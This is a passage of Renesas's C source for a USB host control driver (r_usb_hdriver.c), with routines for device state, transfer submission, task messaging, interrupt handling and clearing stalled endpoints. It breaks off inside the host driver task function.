MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hdriver.c\n* Description : USB Host Control Driver\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* Device driver (registration) */\nUSB_HCDREG_t usb_ghstd_DeviceDrv[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\n/* Root port, status, config num, interface class, speed, */\nuint16_t usb_ghstd_DeviceInfo[USB_NUM_USBIP][USB_MAXDEVADDR + 1u][8u];\nuint16_t usb_ghstd_RemortPort[2u];\n/* Control transfer stage management */\nuint16_t usb_ghstd_Ctsq[USB_NUM_USBIP];\n/* Manager mode */\nuint16_t usb_ghstd_MgrMode[USB_NUM_USBIP][2u];\n/* DEVSEL & DCPMAXP (Multiple device) */\nuint16_t usb_ghstd_DcpRegister[USB_NUM_USBIP][USB_MAXDEVADDR + 1u];\n/* Device address */\nuint16_t usb_ghstd_DeviceAddr[USB_NUM_USBIP];\n/* Reset handshake result */\nuint16_t usb_ghstd_DeviceSpeed[USB_NUM_USBIP];\n/* Device driver number */\nuint16_t usb_ghstd_DeviceNum[USB_NUM_USBIP];\n/* Ignore count */\nuint16_t usb_ghstd_IgnoreCnt[USB_NUM_USBIP][USB_MAX_PIPE_NO + 1u];\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nstatic USB_HCDINFO_t *usb_shstd_HcdMsg;\nstatic uint16_t usb_shstd_ClearStallPipe;\nstatic uint16_t usb_shstd_ClearStallRequest[5];\nstatic uint8_t usb_shstd_ClearStallData[10];\nstatic USB_UTR_t usb_shstd_ClearStallControl;\nstatic USB_CB_t usb_shstd_ClearStallCall;\n\nstatic USB_ER_t usb_hstd_SetSubmitutr(USB_UTR_t *ptr);\nstatic void usb_hstd_SetReTransfer(USB_UTR_t *ptr, uint16_t pipe);\nstatic void usb_hstd_ClearStallResult(USB_UTR_t *ptr, uint16_t data1, uint16_t data2 );\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nuint16_t usb_hstd_CmdSubmit( USB_UTR_t *, USB_CB_t );\n\n\n#ifdef USB_HOST_COMPLIANCE_MODE\nextern uint16_t usb_ghstd_responce_counter;\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n/******************************************************************************\nRenesas USB Host Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_get_device_state\nDescription : Get USB device status from the specifed device address.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t devaddr : Device Address.\nReturn : uint16_t : Device State.\n******************************************************************************/\nuint16_t usb_hstd_get_device_state(USB_UTR_t *ptr, uint16_t devaddr)\n{\n uint16_t md;\n USB_HCDREG_t *driver;\n\n for (md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++)\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if (driver->devaddr == devaddr)\n {\n return driver->devstate;\n }\n }\n return USB_DETACHED;\n}/* eof usb_hstd_get_device_state() */\n\n/******************************************************************************\nFunction Name : usb_hstd_DevDescriptor\nDescription : Returns buffer header pointer to fetch device descriptor.\nArgument : none\nReturn : uint8_t * : Device Descriptor Pointer\n******************************************************************************/\nuint8_t *usb_hstd_DevDescriptor(USB_UTR_t *ptr)\n{\n return (uint8_t *)&usb_ghstd_DeviceDescriptor[ptr->ip];\n}/* eof usb_hstd_DevDescriptor() */\n\n/******************************************************************************\nFunction Name : usb_hstd_ConDescriptor\nDescription : Returns buffer header pointer that includes the configuration \n : descriptor.\nArgument : none\nReturn : uint8_t * : Configuration Descriptor Pointer\n******************************************************************************/\nuint8_t *usb_hstd_ConDescriptor(USB_UTR_t *ptr)\n{\n return (uint8_t *)&usb_ghstd_ConfigurationDescriptor[ptr->ip];\n}/* eof usb_hstd_ConDescriptor() */\n\n/******************************************************************************\nFunction Name : usb_hstd_HsFsResult\nDescription : Return the connected USB device Speed.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn : uint16_t : Device Speed.\n******************************************************************************/\nuint16_t usb_hstd_HsFsResult(USB_UTR_t *ptr)\n{\n return usb_ghstd_DeviceSpeed[ptr->ip];\n}/* eof usb_hstd_HsFsResult() */\n\n/******************************************************************************\nFunction Name : usb_hstd_ChangeDeviceState\nDescription : Request to change status of the connected USB device.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : USB_CB_t complete : callback function.\n : uint16_t msginfo : Request type.\n : uint16_t member : Rootport/pipe number.\nReturn : USB_ER_t : USB_E_OK etc.\n******************************************************************************/\nUSB_ER_t usb_hstd_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t member)\n{\n USB_ER_t err;\n\n err = usb_hstd_HcdSndMbx(ptr, msginfo, member, (uint16_t*)0, complete);\n\n return err;\n}/* eof usb_hstd_ChangeDeviceState() */\n\n/******************************************************************************\nFunction Name : usb_hstd_TransferStart\nDescription : Send a request for data transfer to HCD (Host Control Driver) \n : using the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Contains message.\nReturn : USB_ER_t : USB_E_OK/USB_E_QOVR/USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_hstd_TransferStart(USB_UTR_t *ptr)\n{\n USB_ER_t err;\n uint16_t pipenum, devsel, connect_inf;\n\n pipenum = ptr->keyword;\n /* Pipe Transfer Process check */\n if (usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL)\n {\n /* Check PIPE TYPE */\n if (usb_cstd_GetPipeType(ptr, pipenum) != USB_ISO)\n {\n USB_PRINTF1(\"### R_usb_hstd_TransferStart overlaps %d\\n\", pipenum);\n return USB_E_QOVR;\n }\n }\n\n if (pipenum == USB_PIPE0)\n {\n devsel = (uint16_t)(ptr->setup[4] << USB_DEVADDRBIT);\n }\n else\n {\n /* Get device address from pipe number */\n devsel = usb_cstd_GetDevsel(ptr, pipenum);\n }\n if ((devsel == USB_DEVICE_0) && (pipenum != USB_PIPE0))\n {\n USB_PRINTF1(\"### R_usb_hstd_TransferStart not configured %x\\n\", devsel);\n return USB_E_ERROR;\n }\n\n /* Get device speed from device address */\n connect_inf = usb_hstd_GetDevSpeed(ptr, devsel);\n if (connect_inf == USB_NOCONNECT)\n {\n USB_PRINTF1(\"### R_usb_hstd_TransferStart not connect %x\\n\", devsel);\n return USB_E_ERROR;\n }\n\n ptr->msghead = (USB_MH_t)USB_NULL;\n ptr->msginfo = USB_MSG_HCD_SUBMITUTR;\n /* Send message */\n err = USB_SND_MSG(USB_HCD_MBX, (USB_MSG_t*)ptr);\n if (err != USB_E_OK)\n {\n USB_PRINTF1(\"### R_usb_hstd_TransferStart snd_msg error (%ld)\\n\", err);\n }\n return err;\n}/* eof usb_hstd_TransferStart() */\n\n/******************************************************************************\nFunction Name : usb_hstd_DeviceUsbReset\nDescription : Send USB bus reset request to MGR task, and move USB device to \n : default status.\nArgument : uint16_t devaddr : Device Address\nReturn : none\n******************************************************************************/\nvoid usb_hstd_DeviceUsbReset(USB_UTR_t *ptr, uint16_t devaddr)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_HCD_USBRESET, devaddr, (uint16_t)0u);\n}/* eof usb_hstd_DeviceUsbReset() */\n\n/******************************************************************************\nFunction Name : usb_hstd_DeviceResume\nDescription : Send request for RESUME signal output to USB device to MGR task.\nArgument : uint16_t devaddr : Device Address\nReturn : none\n******************************************************************************/\nvoid usb_hstd_DeviceResume(USB_UTR_t *ptr, uint16_t devaddr)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_HCD_RESUME, devaddr, (uint16_t)0u);\n}/* eof usb_hstd_DeviceResume() */\n\n/******************************************************************************\nFunction Name : usb_hstd_HcdSndMbx\nDescription : Send specified message to HCD (Host Control Driver) task.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t msginfo : Message info..\n : uint16_t dat : Pipe no.\n : uint16_t *adr : Address.\n : USB_CB_t callback: Callback function pointer.\nReturn : USB_ER_t : USB_E_OK etc.\n******************************************************************************/\nUSB_ER_t usb_hstd_HcdSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t dat, uint16_t *adr, USB_CB_t callback)\n{\n USB_MH_t p_blf;\n USB_ER_t err, err2;\n USB_HCDINFO_t *hp;\n\n /* Get mem pool blk */\n err = USB_PGET_BLK(USB_HCD_MPL, &p_blf);\n if (err == USB_E_OK)\n {\n hp = (USB_HCDINFO_t*)p_blf;\n hp->msghead = (USB_MH_t)USB_NULL;\n hp->msginfo = msginfo;\n hp->keyword = dat;\n hp->tranadr = adr;\n hp->complete = callback;\n hp->ipp = ptr->ipp;\n hp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG(USB_HCD_MBX, (USB_MSG_t*)p_blf);\n if (err != USB_E_OK)\n {\n USB_PRINTF1(\"### hHcdSndMbx snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_HCD_MPL, (USB_MH_t)p_blf);\n if (err2 != USB_E_OK)\n {\n USB_PRINTF1(\"### hHcdSndMbx rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### hHcdSndMbx pget_blk error (%ld)\\n\", err);\n }\n return err;\n}/* eof usb_hstd_HcdSndMbx() */\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrSndMbx\nDescription : Send the message to MGR(Manager) task\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t msginfo : Message info.\n : uint16_t dat : Port no.\n : uint16_t res : Result\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t dat, uint16_t res)\n{\n USB_MH_t p_blf;\n USB_ER_t err, err2;\n USB_MGRINFO_t *mp;\n\n /* Get mem pool blk */\n err = USB_PGET_BLK(USB_MGR_MPL, &p_blf);\n if (err == USB_E_OK)\n {\n mp = (USB_MGRINFO_t *)p_blf;\n mp->msghead = (USB_MH_t)USB_NULL;\n mp->msginfo = msginfo;\n mp->keyword = dat;\n mp->result = res;\n mp->ipp = ptr->ipp;\n mp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG(USB_MGR_MBX, (USB_MSG_t *)p_blf);\n if (err != USB_E_OK)\n {\n USB_PRINTF1(\"### hMgrSndMbx snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_MGR_MPL, (USB_MH_t)p_blf);\n if (err2 != USB_E_OK)\n {\n USB_PRINTF1(\"### hMgrSndMbx rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### hMgrSndMbx pget_blk error (%ld)\\n\", err);\n }\n}/* eof usb_hstd_MgrSndMbx */\n\n/******************************************************************************\nFunction Name : usb_hstd_HcdRelMpl\nDescription : Release the secured memory block.\nArgument : uint16_t n : Error no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_HcdRelMpl(USB_UTR_t *ptr, uint16_t n)\n{\n USB_ER_t err;\n\n /* Memory Pool Release */\n err = USB_REL_BLK(USB_HCD_MPL, (USB_MH_t)ptr);\n if (err != USB_E_OK)\n {\n USB_PRINTF1(\"### USB HCD rel_blk error: %d\\n\", n);\n }\n}/* eof usb_hstd_HcdRelMpl() */\n\n/******************************************************************************\nFunction Name : usb_hstd_Suspend\nDescription : Request suspend for USB device.\nArgument : uint16_t port : Port no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_Suspend(USB_UTR_t *ptr, uint16_t port)\n{\n USB_HCDINFO_t* hp;\n\n /* Control transfer idle stage ? */\n if (usb_ghstd_Ctsq[ptr->ip] == USB_IDLEST)\n {\n /* USB suspend process */\n usb_hstd_SuspendProcess(ptr, port);\n /* Check clock */\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_SUSPENDED);\n /* Callback */\n hp = (USB_HCDINFO_t*)ptr;\n (hp->complete)(ptr, port, ptr->msginfo);\n }\n else\n {\n /* 1ms wait */\n usb_cpu_DelayXms((uint16_t)1);\n /* Change device state request */\n usb_hstd_ChangeDeviceState(ptr, &usb_hstd_StatusResult, ptr->msginfo, port);\n }\n}/* eof usb_hstd_Suspend() */\n\n/******************************************************************************\nFunction Name : usb_hstd_SetSubmitutr\nDescription : Submit utr: Get the device address via the specified pipe num-\n : ber and do a USB transfer.\nArguments : USB_UTR_t *ptr : USB system internal structure. Also used in \n : this function to get device address, and specifies keyword and\n : USB channel.\nReturn : USB_ER_t : USB_DONE\n******************************************************************************/\nUSB_ER_t usb_hstd_SetSubmitutr(USB_UTR_t *ptr)\n{\n uint16_t pipenum, devsel, connect_inf;\n uint16_t end_flag;\n USB_UTR_t *pp;\n\n pipenum = ptr->keyword;\n usb_gcstd_Pipe[ptr->ip][pipenum] = ptr;\n\n /* Get device address from pipe number */\n if (pipenum == USB_PIPE0)\n {\n devsel = (uint16_t)(ptr->setup[4] << USB_DEVADDRBIT);\n }\n else\n {\n /* Get device address from pipe number */\n devsel = usb_cstd_GetDevsel(ptr, pipenum);\n }\n if ((devsel == USB_DEVICE_0) && (pipenum != USB_PIPE0))\n {\n /* End of data transfer (IN/OUT) */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_ERR);\n return USB_DONE;\n }\n\n /* Get device speed from device address */\n connect_inf = usb_hstd_GetDevSpeed(ptr, devsel);\n if (connect_inf == USB_NOCONNECT)\n {\n if (pipenum == USB_PIPE0)\n {\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n else\n {\n /* End of data transfer (IN/OUT) */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_ERR);\n }\n return USB_DONE;\n }\n\n /* Control Transfer */\n if (pipenum == USB_PIPE0)\n {\n /* Control transfer idle stage ? */\n if (usb_ghstd_Ctsq[ptr->ip] == USB_IDLEST)\n { \n usb_hstd_SetupStart(ptr);\n }\n /* Control Read Data */\n else if (usb_ghstd_Ctsq[ptr->ip] == USB_DATARDCNT)\n {\n pp = usb_gcstd_Pipe[ptr->ip][USB_PIPE0];\n /* Control read start */\n usb_hstd_ControlReadStart(ptr, pp->tranlen, (uint8_t*)pp->tranadr);\n }\n /* Control Write Data */\n else if (usb_ghstd_Ctsq[ptr->ip] == USB_DATAWRCNT)\n {\n pp = usb_gcstd_Pipe[ptr->ip][USB_PIPE0];\n /* Control write start */\n end_flag = usb_hstd_ControlWriteStart(ptr, pp->tranlen, (uint8_t*)pp->tranadr);\n if (end_flag == USB_FIFOERROR)\n {\n USB_PRINTF0(\"### FIFO access error \\n\");\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n }\n else\n {\n USB_PRINTF0(\"### Control transfer seaquence error \\n\");\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n }\n else\n {\n /* Data Transfer */\n usb_hstd_SetReTransfer(ptr, pipenum);\n }\n return USB_DONE;\n}/* eof usb_hstd_SetSubmitutr() */\n\n/******************************************************************************\nFunction Name : usb_hstd_SetReTransfer\nDescription : Start IN/OUT transfer based on the specified pipe.\nArgument : uint16_t pipe : Pipe number\nReturn : none\n******************************************************************************/\nvoid usb_hstd_SetReTransfer(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Data Transfer */\n if (usb_cstd_GetPipeDir(ptr, pipe) == USB_DIR_H_IN)\n {\n /* IN Transfer */\n usb_cstd_ReceiveStart(ptr, pipe);\n }\n else\n {\n /* OUT Transfer */\n usb_cstd_SendStart(ptr, pipe);\n }\n}/* eof usb_hstd_SetReTransfer() */\n\n/******************************************************************************\nFunction Name : usb_hstd_BusIntDisable\nDescription : Disable USB Bus Interrupts OVRCR, ATTCH, DTCH, and BCHG.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t port : Port number. //$REA - redundant!\nReturn : none\n******************************************************************************/\nvoid usb_hstd_BusIntDisable(USB_UTR_t *ptr, uint16_t port)\n{\n /* ATTCH interrupt disable */\n usb_hstd_AttchDisable(ptr, port);\n /* DTCH interrupt disable */\n usb_hstd_DtchDisable(ptr, port);\n /* BCHG interrupt disable */\n usb_hstd_BchgDisable(ptr, port);\n}/* eof usb_hstd_BusIntDisable() */\n\n/******************************************************************************\nFunction Name : usb_hstd_Interrupt\nDescription : Execute appropriate process depending on which USB interrupt \n : occurred.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_Interrupt(USB_UTR_t *ptr)\n{\n uint16_t intsts, end_flag;\n USB_UTR_t *pp;\n\n intsts = ptr->keyword;\n// bitsts = ptr->status;\n\n switch( intsts)\n {\n\n /***** Processing PIPE0-MAX_PIPE_NO data *****/\n case USB_INT_BRDY:\n usb_hstd_BrdyPipe(ptr);\n break;\n case USB_INT_BEMP:\n usb_hstd_BempPipe(ptr);\n break;\n case USB_INT_NRDY:\n usb_hstd_NrdyPipe(ptr);\n break;\n\n /***** Processing Setup transaction *****/\n case USB_INT_SACK:\n switch( usb_ghstd_Ctsq[ptr->ip])\n {\n case USB_SETUPRD:\n /* Next stage to Control read data */\n /* continue */\n case USB_SETUPRDCNT:\n /* Next stage to Control read data */\n pp = usb_gcstd_Pipe[ptr->ip][USB_PIPE0];\n /* Control read start */\n usb_hstd_ControlReadStart(ptr, pp->tranlen, (uint8_t*)pp->tranadr);\n break;\n case USB_SETUPWR:\n /* Next stage to Control Write data */\n /* continue */\n case USB_SETUPWRCNT:\n /* Next stage to Control Write data */\n pp = usb_gcstd_Pipe[ptr->ip][USB_PIPE0];\n /* Control write start */\n end_flag = usb_hstd_ControlWriteStart(ptr, pp->tranlen, (uint8_t*)pp->tranadr);\n if (end_flag == USB_FIFOERROR)\n {\n USB_PRINTF0(\"### FIFO access error \\n\");\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n break;\n case USB_SETUPNDC:\n /* Next stage to Control write no data */\n usb_hstd_StatusStart(ptr);\n break;\n default:\n break;\n }\n break;\n case USB_INT_SIGN:\n USB_PRINTF0(\"***SIGN\\n\");\n#ifdef USB_HOST_COMPLIANCE_MODE\n USB_COMPLIANCE_DISP(ptr, USB_COMP_ERR,USB_NO_ARG);\n#endif /* USB_HOST_COMPLIANCE_MODE */\n /* Ignore count */\n usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0]++;\n USB_PRINTF2(\"### IGNORE Pipe %d is %d times (Setup) \\n\", USB_PIPE0, usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0]);\n if (usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0] == USB_PIPEERROR)\n {\n /* Setup Device Ignore count over */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n else\n {\n /* Interrupt enable */\n /* 5ms wait */\n usb_cpu_DelayXms((uint16_t)5u);\n /* Status Clear */\n usb_hreg_clr_sts_sign( ptr);\n usb_hreg_clr_sts_sack( ptr);\n /* Setup Ignore,Setup Acknowledge enable */\n usb_hreg_set_enb_signe( ptr);\n usb_hreg_set_enb_sacke( ptr);\n /* SETUP request send */\n /* Send SETUP request */\n usb_hreg_set_sureq( ptr );\n }\n break;\n\n /***** Processing rootport0 *****/\n case USB_INT_OVRCR0:\n /* Port0 OVCR interrupt function */\n usb_hstd_Ovrcr0Function(ptr);\n break;\n case USB_INT_EOFERR0:\n /* User program */\n break;\n case USB_INT_ATTCH0:\n /* Port0 ATCH interrupt function */\n usb_hstd_AttachProcess(ptr, (uint16_t)USB_PORT0);\n break;\n case USB_INT_BCHG0:\n USB_PRINTF0(\"BCHG int port0\\n\");\n /* Port0 BCHG interrupt function */\n usb_hstd_Bchg0Function(ptr);\n break;\n case USB_INT_DTCH0:\n USB_PRINTF0(\"DTCH int port0\\n\");\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT0);\n break;\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n /***** Processing rootport1 *****/\n case USB_INT_OVRCR1:\n if ((usb_creg_read_syssts( ptr, USB_PORT0 ) & USB_OVCBIT) == 0)\n {\n USB_PRINTF0(\" OVCR int port1\\n\");\n /* OVRCR interrupt disable */\n usb_hstd_OvrcrDisable(ptr, (uint16_t)USB_PORT1);\n /* Notification over current */\n usb_hstd_OvcrNotifiation(ptr, (uint16_t)USB_PORT1);\n }\n break;\n case USB_INT_EOFERR1:\n /* User program */\n break;\n case USB_INT_ATTCH1:\n USB_PRINTF0(\"ATTCH int port1\\n\");\n /* USB attach / detach */\n usb_hstd_AttachProcess(ptr, (uint16_t)USB_PORT1);\n break;\n case USB_INT_BCHG1:\n /* SUSPENDED check */\n if (usb_ghstd_RemortPort[USB_PORT1] == USB_SUSPENDED)\n {\n if (USB_RESUME == (usb_creg_read_dvstctr( ptr, USB_PORT1 ) & USB_RESUME ))\n {\n USB_PRINTF0(\"BCHG(RWUP) int port1\\n\");\n usb_ghstd_RemortPort[USB_PORT1] = USB_DEFAULT;\n /* Change device state to resume */\n usb_hstd_DeviceResume(ptr, (uint16_t)(USB_PORT1 + USB_DEVICEADDR));\n }\n else\n {\n /* Decide USB Line state (ATTACH) */\n if (USB_DETACH == usb_hstd_ChkAttach(ptr, (uint16_t)USB_PORT1))\n {\n usb_ghstd_RemortPort[USB_PORT1] = USB_DEFAULT;\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT1);\n }\n else\n {\n /* Enable port BCHG interrupt */\n usb_hstd_BchgEnable(ptr, (uint16_t)USB_PORT1);\n /* Check clock */\n usb_hstd_ChkClk(ptr, (uint16_t)USB_PORT1, (uint16_t)USB_SUSPENDED);\n }\n }\n }\n else\n {\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT1);\n }\n break;\n case USB_INT_DTCH1:\n USB_PRINTF0(\"DTCH int port1\\n\");\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT1);\n break;\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n#ifdef USB_HOST_BC_ENABLE\n case USB_INT_PDDETINT0:\n /* Port0 PDDETINT interrupt function */\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n usb_hstd_pddetint_process(ptr, (uint16_t)USB_PORT0);\n }\n break;\n#endif\n case USB_INT_VBINT:\n /* User program */\n usb_creg_clr_enb_vbse( ptr );\n break;\n case USB_INT_SOFR:\n#ifdef USB_HOST_COMPLIANCE_MODE\n usb_ghstd_responce_counter++;\n if(usb_ghstd_responce_counter == USB_RESPONCE_COUNTER_VALUE)\n {\n usb_creg_clr_enb_sofe( ptr );\n USB_COMPLIANCE_DISP(ptr, USB_COMP_NOTRESP, USB_NO_ARG);\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_STOP);\n }\n#else /* USB_HOST_COMPLIANCE_MODE */\n /* User program */\n usb_creg_clr_enb_sofe( ptr );\n#endif /* USB_HOST_COMPLIANCE_MODE */\n break;\n\n /*** ERROR ***/\n case USB_INT_UNKNOWN:\n USB_PRINTF0(\"hINT_UNKNOWN\\n\");\n break;\n default:\n USB_PRINTF1(\"hINT_default %X\\n\", intsts);\n break;\n }\n}/* eof usb_hstd_Interrupt() */\n\n/******************************************************************************\nFunction Name : usb_hstd_ClearFeature\nDescription : Send ClearFeature command to the connected USB device.\nArguments : uint16_t addr : Device address.\n : uint16_t epnum : Endpoint number.\n : USB_CB_t complete : Callback function.\nReturn value : uint16_t : Error info.\n******************************************************************************/\nUSB_ER_t usb_hstd_ClearFeature(USB_UTR_t *ptr, uint16_t addr, uint16_t epnum, USB_CB_t complete)\n{\n USB_ER_t ret_code;\n\n if (epnum == 0xFF)\n {\n /* ClearFeature(Device) */\n usb_shstd_ClearStallRequest[0] = USB_CLEAR_FEATURE | USB_HOST_TO_DEV | USB_STANDARD | USB_DEVICE;\n usb_shstd_ClearStallRequest[1] = USB_DEV_REMOTE_WAKEUP;\n usb_shstd_ClearStallRequest[2] = (uint16_t)0x0000;\n }\n else\n {\n /* ClearFeature(endpoint) */\n usb_shstd_ClearStallRequest[0] = USB_CLEAR_FEATURE | USB_HOST_TO_DEV | USB_STANDARD | USB_ENDPOINT;\n usb_shstd_ClearStallRequest[1] = USB_ENDPOINT_HALT;\n usb_shstd_ClearStallRequest[2] = epnum;\n }\n usb_shstd_ClearStallRequest[3] = (uint16_t)0x0000;\n usb_shstd_ClearStallRequest[4] = addr;\n\n usb_shstd_ClearStallControl.tranadr = (void*)usb_shstd_ClearStallData;\n usb_shstd_ClearStallControl.complete = complete;\n usb_shstd_ClearStallControl.tranlen = (uint32_t)usb_shstd_ClearStallRequest[3];\n usb_shstd_ClearStallControl.keyword = USB_PIPE0;\n usb_shstd_ClearStallControl.setup = usb_shstd_ClearStallRequest;\n usb_shstd_ClearStallControl.segment = USB_TRAN_END;\n\n usb_shstd_ClearStallControl.ip = ptr->ip;\n usb_shstd_ClearStallControl.ipp = ptr->ipp;\n\n ret_code = usb_hstd_TransferStart(&usb_shstd_ClearStallControl);\n\n return ret_code;\n}/* eof usb_hstd_ClearFeature() */\n\n/******************************************************************************\nFunction Name : usb_hstd_ClearStall\nDescription : Clear Stall\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\n : USB_CB_t complete : Callback function\nReturn value : uint16_t : Error info.\n******************************************************************************/\nUSB_ER_t usb_hstd_ClearStall(USB_UTR_t *ptr, uint16_t pipe, USB_CB_t complete)\n{\n USB_ER_t err;\n uint8_t dir_ep;\n uint16_t devsel;\n\n dir_ep = usb_cstd_Pipe2Epadr(ptr, pipe);\n devsel = usb_cstd_GetDeviceAddress(ptr, pipe);\n\n err = usb_hstd_ClearFeature(ptr, (uint16_t)(devsel >> USB_DEVADDRBIT), (uint16_t)dir_ep, complete);\n return err;\n}/* eof usb_hstd_ClearStall() */\n\n/******************************************************************************\nFunction Name : usb_hstd_ClearStallResult\nDescription : Callback function to notify HCD task that usb_hstd_ClearStall function is completed\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t data1 : Not Use\n : uint16_t data2 : Not Use\nReturn value : uint16_t : error info\n******************************************************************************/\nvoid usb_hstd_ClearStallResult(USB_UTR_t *ptr, uint16_t data1, uint16_t data2 )\n{\n USB_MH_t p_blf;\n USB_ER_t err, err2;\n USB_UTR_t *up;\n\n /* Get mem pool blk */\n err = USB_PGET_BLK(USB_HCD_MPL, &p_blf);\n if (err == USB_E_OK)\n {\n up = (USB_UTR_t*)p_blf;\n up->msghead = (USB_MH_t)USB_NULL;\n up->msginfo = USB_MSG_HCD_CLR_STALL_RESULT;\n up->status = ptr->status;\n\n up->ipp = ptr->ipp;\n up->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG(USB_HCD_MBX, (USB_MSG_t*)p_blf);\n if (err != USB_E_OK)\n {\n USB_PRINTF1(\"### hHcdSndMbx snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_HCD_MPL, (USB_MH_t)p_blf);\n if (err2 != USB_E_OK)\n {\n USB_PRINTF1(\"### hHcdSndMbx rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### hHcdSndMbx pget_blk error (%ld)\\n\", err);\n }\n}/* eof usb_hstd_ClearStallResult() */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nFunction Name : usb_hstd_HcdTask\nDescription : USB Host Control Driver Task.\nArgument : USB_VP_INT stacd : Task Start Code.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_HcdTask(USB_VP_INT stacd)\n{\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n USB_UTR_t *mess, *ptr;\n USB_ER_t err;\n uint16_t rootport, pipenum, msginfo;\n uint16_t connect_inf;\n uint16_t retval;\n USB_HCDINFO_t* hp;\n#ifdef FREE_RTOS_PP\n for( ;; 